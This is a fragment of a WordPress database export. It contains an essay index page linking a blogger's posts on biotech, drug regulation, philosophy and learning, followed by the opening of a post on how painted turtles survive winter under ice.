using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-get-rich-combining-generic-drugs-lessons-from-axsome/\" data-type=\"page\" data-id=\"540\">How to get rich combining generic drugs: lessons from Axsome</a> - Lessons from the masters of drug repurposing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/another-entry-for-the-repurposing-files/\" data-type=\"page\" data-id=\"530\">Another entry for the repurposing files</a> - Combining generics for obstructive sleep apnea</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/regulators-almost-killed-biotech-before-it-began/\" data-type=\"page\" data-id=\"510\">Regulators almost killed biotech before it began</a> - The early days of Genentech.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-brief-analysis-of-the-plasticlist-report/\" data-type=\"page\" data-id=\"508\">A brief analysis of the PlasticList report</a> - Breaking it down. What got me interested in plasticizers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-drugs-good-depends-on-what-youre-trying-to-do/\" data-type=\"page\" data-id=\"494\">Are drugs good? Are side effects bad? It depends on what you\'re trying to do</a> - A plea for sanity around whether psychedelics are \"good\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-list-of-health-problems-that-should-be-solved-pet-first/\">A list of health problems that should be solved pet first</a> - Trying to recruit people to join animal health and solve these problems. Free alpha! </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The place of humans in machine society - my dog can\'t do anything in my apartment w</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/call-of-duty-as-a-lens-into-american-foreign-policy-from-2003-2025/\" data-type=\"page\" data-id=\"542\">Call of Duty as a lens into American foreign policy from 2003-2025</a> - My (failed) entry into the ACX not-book reviews. A very long post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/e-is-for-engaged/\" data-type=\"page\" data-id=\"536\">E is for Engaged</a> - I got engaged! Hurrah!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/32nd-birthday-dreams-of-waterworld/\" data-type=\"page\" data-id=\"534\">32nd birthday thoughts of Waterworld</a> - Turning 32 in a stranger world than the one I lived in the year before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/10-years-out-from-princeton-and-headed-back/\" data-type=\"page\" data-id=\"532\">10 years out from Princeton and headed back</a> - Written right before my 10th reunion, and not entirely complimentary. Did I mention I went to Princeton?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/plainclothes-ice-officers-threaten-the-trust-needed-for-the-police-to-function/\" data-type=\"page\" data-id=\"522\">Plainclothes ICE officers threaten the trust needed for the police to function</a> - A very political post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-performative-cruelty-of-it/\" data-type=\"page\" data-id=\"520\">The performative cruelty of it</a> - Not so crypto political post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-responsibility-of-size/\" data-type=\"page\" data-id=\"514\">On the responsibility of size</a> - a crypto political post (crypto as in secret, not cryptocurrency).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-am-i-and-llms-so-bad-at-scrabble/\" data-type=\"page\" data-id=\"512\">Why am I (and LLMs) bad at Scrabble?</a> - Trying to understand my own mind and the mind of AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/reflections-on-a-brief-visit-to-florida/\" data-type=\"page\" data-id=\"506\">Reflections on a brief visit to Florida</a> - Visiting my parents in the land of elderly Jews (and their spouses).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manhattan-project-through-the-eyes-of-fermi/\" data-type=\"page\" data-id=\"502\">The Manhattan Project through the eyes of Fermi</a> - a fragmented summary of <em>The Making of the Atomic Bomb</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-brief-personal-history-of-optimistic-futures/\">A brief, personal history of optimistic futures</a> - a weird, short intellectual autobiography.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lessons-on-getting-things-done-from-robert-moses/\">Lessons on getting things done from Robert Moses</a> - a semi book review of <em>the Power Broker</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/culturing-honesty/\">Culturing honesty</a> - In praise of honesty and in attack of David Graeber.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-friend-claude/\">My friend, Claude</a> - In which I become more reliant on AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief\">Thoughts on California from a brief visit</a> - Disneyland, LA, and SF. A dizzying, intoxicating, overdosing combination.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-autosave-v1','','','2025-07-03 20:57:12','2025-07-03 20:57:12','',22,'https://trevorklee.com/?p=465',0,'revision','',0),
(466,1,'2025-07-03 18:58:06','2025-07-03 18:58:06','<!-- wp:paragraph -->\n<p>Living in freshwater seems fun until winter. Then your pleasant, watery home becomes ice, and you have to change up your entire living strategy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a fish, frog, or other animal that can breathe underwater, you can just go to the deepest parts of your lake and go into torpor, barely moving and taking in very little food or oxygen. This presents its own challenges, like not freezing and still getting enough water over your gills to get oxygen (for fish, at least), but it’s doable.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a painted turtle, however, you can’t do that<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-1-145813428\">1</a>. Even though you’re a water-dweller, you can’t breathe underwater<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-2-145813428\">2</a>, so torpor isn’t an option. You have to go up to the surface to breathe. That’s fine in every other season, but, in winter, the entire water surface might be covered in ice. Even if it’s not, swimming in freezing water to find gaps in the ice to breathe is an energetically costly process during a time when food is scarce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what do you do? Well, you might think you should go on land. But painted turtles take a different tact. They still go underwater (or under the mud). However, they don’t go into torpor. They go deeper, into an even lower metabolic state of hibernation, and stop breathing completely for the entire winter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!TGJi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b691d02-7dbc-4814-b1fc-a632a4e18c1c_1280x720.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!TGJi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b691d02-7dbc-4814-b1fc-a632a4e18c1c_1280x720.jpeg\" alt=\"TURTLES UNDER ICE! (How? Why?) - YouTube\" title=\"TURTLES UNDER ICE! (How? Why?) - YouTube\"/></a><figcaption class=\"wp-element-caption\">This is from a Youtube video entitled “<a href=\"https://www.youtube.com/watch?app=desktop&amp;v=VLiZojqXhuE\">Turtles Under Ice! How? Why?</a>” I like how excited this guy is.</figcaption></figure>\n<!-- /wp:image 